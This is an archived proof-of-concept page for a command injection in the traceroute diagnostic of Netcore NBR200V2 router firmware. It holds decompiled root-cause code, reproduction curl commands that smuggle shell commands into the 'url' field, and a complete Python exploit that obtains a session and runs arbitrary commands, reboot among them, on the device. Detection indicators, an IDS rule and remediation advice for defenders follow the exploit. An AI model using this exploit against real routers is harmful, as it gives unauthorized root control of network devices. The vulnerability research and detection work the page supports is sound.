PoC Archive PoC Archive
CVE-2026-94095 category: network CVSS 9.9 (CRITICAL)
Unverified

Netcore NBR200V2 Traceroute Diagnostic Command Injection (CVE-2026-94095)

Published: 2026-11-25 • Researcher: HackSpeak (mirror repository owner); original disclosure by an independent researcher (see references)

Target software Netcore NBR200V2 enterprise router firmware — traceroute diagnostic feature in /usr/bin/network_tools
Affected versions Firmware V1.3.241127.071246 (NVD lists no structured product/version ranges for this CVE — see references)
Status PoC
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-94095
Category
network
Affected product
Netcore NBR200V2 enterprise router firmware — traceroute diagnostic feature in /usr/bin/network_tools
Affected versions
Firmware V1.3.241127.071246 (NVD lists no structured product/version ranges for this CVE — see references)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-21
Author / ResearcherHackSpeak (mirror repository owner); original disclosure by an independent researcher (see references)
CVE / AdvisoryCVE-2026-94095
Categorynetwork
SeverityCritical
CVSS Score9.9 (CVSSv3.1; CVSS 4.0: 8.6, CVSS 2.0: 9.0 per the upstream README; full vector not listed in the worklist data — see references)
StatusPoC
Tagscommand-injection, OS-command-injection, RCE, Netcore, NBR200V2, router, firmware, ubus, JSON-RPC, traceroute, embedded, network
RelatedN/A

Affected Target

FieldValue
Software / SystemNetcore NBR200V2 enterprise router firmware — traceroute diagnostic feature in /usr/bin/network_tools
Versions AffectedFirmware V1.3.241127.071246 (NVD lists no structured product/version ranges for this CVE — see references)
Language / PlatformPython 3 (PoC, stdlib only); Linux-based embedded firmware on the router
Authentication RequiredPartial — a valid low-privilege ubus session (sid) is required; with weak/default credentials it can be obtained via the session login method
Network Access RequiredYes — HTTP POST to /ubus on the router management interface

Summary

CVE-2026-94095 is an OS command injection in the traceroute diagnostic feature of Netcore NBR200V2 firmware V1.3.241127.071246. The ubus JSON-RPC handler for the traceroute method passes an attacker-controlled url value into a shell command that is executed with system(), so metacharacters such as semicolon, ampersand, pipe and comment are honored. A remote attacker who can reach the ubus endpoint and holds a low-privilege session can run arbitrary shell commands on the device, reboot it, or attempt full compromise; the vendor was contacted early but did not respond, and no patch was available at disclosure.

Vulnerability Details

Root Cause

The ubus method tools_traceroute (dispatched through sub_401BD8) parses the JSON-RPC parameters and forwards the caller-supplied url to tools_traceroute(). That function builds a shell command with snprintf and executes it via system():

C source
1
2
3
4
5
snprintf(
    v4, 0x100u,
    "(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
    v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);

The url argument is inserted without any filtering or escaping, and the command is handed to a shell. This is CWE-74 / CWE-77 (OS command injection). The vulnerable pattern is structurally identical to the ping diagnostic issue in the same binary.

Attack Vector

An attacker sends a JSON-RPC POST to the router’s /ubus endpoint, calling the network_tools object’s tools_traceroute method with action start and a crafted url value such as 127.0.0.1;id;#. The trailing # comments out the remainder of the generated command template so the injected command runs cleanly. The prerequisite is a valid low-privilege sid (or valid credentials, which the PoC can use to request one).

Impact

Arbitrary command execution in the context of the diagnostic service, which the upstream README describes as running with the device’s highest privileges (root by default). An attacker can read or alter device configuration, reboot the device, disable security controls, persist on the firmware, or use the router as a pivot into adjacent networks. The traceroute output is redirected to /tmp/traceroute.txt, so the injection itself is blind unless the attacker chains a command that writes a reachable artifact or opens a reverse connection.

Environment / Lab Setup

Output
OS:          Any host running Python 3 (PoC has zero third-party dependencies)
Target:      Netcore NBR200V2 router, firmware V1.3.241127.071246 (lab/disposable device)
Attacker:    Python 3.6+ with network access to the router management interface
Tools:       python3, curl (optional), a valid ubus sid or admin credentials

Setup Steps

Shell script
1
2
3
4
python3 --version

curl -s -o /dev/null -w '%{http_code}\n' http://192.168.1.1/ubus -X POST \
  -H 'Content-Type: application/json' -d '{}'

Proof of Concept

Step-by-Step Reproduction

  1. Obtain a ubus session — either reuse a sid captured from an authenticated management session, or let the PoC log in with valid credentials:
    Shell script
    1
    
    python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "id"
  2. Craft the injection — the PoC builds the url value as 127.0.0.1;<command>;#, where the comment marker removes the rest of the traceroute template.
  3. Send the JSON-RPC call — POST to the target’s /ubus endpoint:
    Shell script
    1
    2
    
    curl -s http://192.168.1.1/ubus -X POST -H 'Content-Type: application/json' \
      -d '{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;id;#","max_hop":1,"wanid":0}]}'
  4. Observe the effect — because output is redirected to /tmp/traceroute.txt, verify with an out-of-band check (reverse connection, a file written to a readable location, or a device-side action such as a reboot).

Exploit Code

See poc.py in this folder. The technical disclosure with decompiled call chain is in CVE-2026-94095.md.

Python
1
2
3
4
5
6
url_value = "127.0.0.1;%s;#" % command
payload = {
    "jsonrpc": "2.0", "id": 20, "method": "call",
    "params": [sid, "network_tools", "tools_traceroute",
               {"action": "start", "url": url_value, "max_hop": 1, "wanid": 0}],
}

Expected Output

Output
[*] injecting: id
[*] HTTP 200
{"jsonrpc":"2.0","id":20,"result":[0,{}]}

The JSON body above is the typical ubus success shape and may differ by firmware; the PoC prints whatever the device returns (up to 1000 characters).

Success means the RPC returned normally while the injected command ran asynchronously in the background; the traceroute template itself does not return command output. A reboot injected in place of id should make the device stop responding and restart.

Detection & Indicators of Compromise

  • HTTP requests to /ubus whose JSON body references tools_traceroute with a url value containing ;, &&, |, backticks, $( or #.
  • Requests where the url parameter does not start with a valid IP address or hostname but includes shell syntax.
  • Requests from unusual source addresses to the management interface, especially followed by a reboot or a configuration change.
  • Device artifacts: /tmp/traceroute.txt and /tmp/.tracroute_end appearing after diagnostic calls; unexpected processes spawned as children of network_tools.
  • Unexpected device reboots, new firewall/NAT rules, or outbound connections from the router that were not administrator-initiated.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"Netcore NBR200V2 tools_traceroute command injection attempt"; \
  content:"tools_traceroute"; http_client_body; \
  content:"url"; http_client_body; pcre:"/\"url\"\s*:\s*\"[^\"]*[;|&`$#]/R"; \
  sid:9009409;)

Remediation

ActionDetail
PatchNo vendor patch was available at disclosure; track Netcore NBR200V2 firmware updates and verify fixes for CVE-2026-94095/94096/94097 together.
WorkaroundDo not expose the management interface to untrusted networks; remove WAN-side management mappings and block /ubus from user segments. Disable the traceroute diagnostic feature if it is not required.
Config HardeningChange default credentials, enforce strong rotated passwords (ubus authentication is the prerequisite), restrict ubus/management to a dedicated operations VLAN, and monitor diagnostic RPC calls.

References

Notes

Auto-ingested from https://github.com/HackSpeak/CVE-2026-94095 on 2026-11-25.

Review verdict: this is a genuine PoC with executable exploit code (poc.py sends the ubus JSON-RPC injection and supports arbitrary commands), not a detector/scanner. It is limited in two ways, so Status is PoC rather than Weaponized: a valid low-privilege ubus session (sid) or credentials are required, and the injection is blind because the traceroute template redirects output to /tmp/traceroute.txt. The upstream README states the vendor was contacted early and never responded; no patch was available at disclosure. Related same-binary issues CVE-2026-94096 (LAN IP configuration path) and CVE-2026-94097 (CGI diagnostic endpoint) share the unsafe pattern and are not covered by this entry.

License: MIT (Copyright (c) 2026 HackSpeak), included as LICENSE. The repository is a distribution mirror; the original technical disclosure was published by an independent researcher credited only generically upstream, so attribution beyond the repo owner is “see references”. No binaries, firmware images, or locked dependency files were copied. Files archived: poc.py, CVE-2026-94095.md, metadata README shortened/renamed to upstream-README.md, LICENSE.

Run only against router hardware you own or are explicitly authorized to test; the injected reboot command reboots the device immediately.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/HackSpeak/CVE-2026-94095 (see README for attribution/license)
"""
CVE-2026-94095 - Netcore NBR200V2 traceroute command injection PoC.

Affected : Netcore NBR200V2 firmware V1.3.241127.071246 (/usr/bin/network_tools)
Type     : OS command injection (ubus JSON-RPC -> tools_traceroute -> system())
CVSS 3.1 : 9.9 (Critical)

The `tools_traceroute()` handler builds:
    (traceroute <url> -m <max_hop> > /tmp/traceroute.txt && ...)&
and passes it to system(). Because <url> is not sanitized, shell metacharacters
(; && | ` #) are honored, turning the diagnostic feature into arbitrary command
execution.

Usage:
    python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
    python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

Only for authorized security testing on devices you own or are permitted to test.
"""
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.request

NULL_SID = "00000000000000000000000000000000"


def _ctx(insecure=True):
    return ssl._create_unverified_context() if insecure else ssl.create_default_context()


def post(target, payload, timeout=15, insecure=True):
    url = target.rstrip("/") + "/ubus"
    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        url, data=data, method="POST",
        headers={"Content-Type": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=_ctx(insecure)) as resp:
            return resp.getcode(), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:  # noqa: BLE001
        return -1, str(e)


def login(target, username, password, timeout=15):
    """Best-effort ubus session login to obtain a sid."""
    payload = {
        "jsonrpc": "2.0", "id": 1, "method": "call",
        "params": [NULL_SID, "session", "login",
                   {"username": username, "password": password}],
    }
    code, body = post(target, payload, timeout=timeout)
    try:
        obj = json.loads(body)
        return obj["result"][1]["ubus_rpc_session"]
    except Exception:  # noqa: BLE001
        print("[!] login failed (HTTP %s): %s" % (code, body[:200]))
        return None


def exploit(target, sid, command, timeout=15):
    # `#` comments out the trailing template so the injected command runs cleanly.
    url_value = "127.0.0.1;%s;#" % command
    payload = {
        "jsonrpc": "2.0", "id": 20, "method": "call",
        "params": [sid, "network_tools", "tools_traceroute",
                   {"action": "start", "url": url_value, "max_hop": 1, "wanid": 0}],
    }
    return post(target, payload, timeout=timeout)


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-94095 Netcore NBR200V2 traceroute command injection PoC")
    ap.add_argument("--target", required=True, help="base URL, e.g. http://192.168.1.1")
    ap.add_argument("--sid", help="ubus session id (sid)")
    ap.add_argument("--user", help="username for ubus session login (optional)")
    ap.add_argument("--password", help="password for ubus session login (optional)")
    ap.add_argument("--cmd", default="id", help="command to run on the device (default: id)")
    ap.add_argument("--timeout", type=int, default=15)
    args = ap.parse_args()

    sid = args.sid
    if not sid:
        if not (args.user and args.password):
            print("[!] provide --sid, or --user/--password to obtain one")
            return 2
        sid = login(args.target, args.user, args.password, args.timeout)
        if not sid:
            return 1
        print("[+] sid = %s" % sid)

    print("[*] injecting: %s" % args.cmd)
    code, body = exploit(args.target, sid, args.cmd, args.timeout)
    print("[*] HTTP %s" % code)
    print(body[:1000] if body else "(no body)")
    return 0


if __name__ == "__main__":
    sys.exit(main())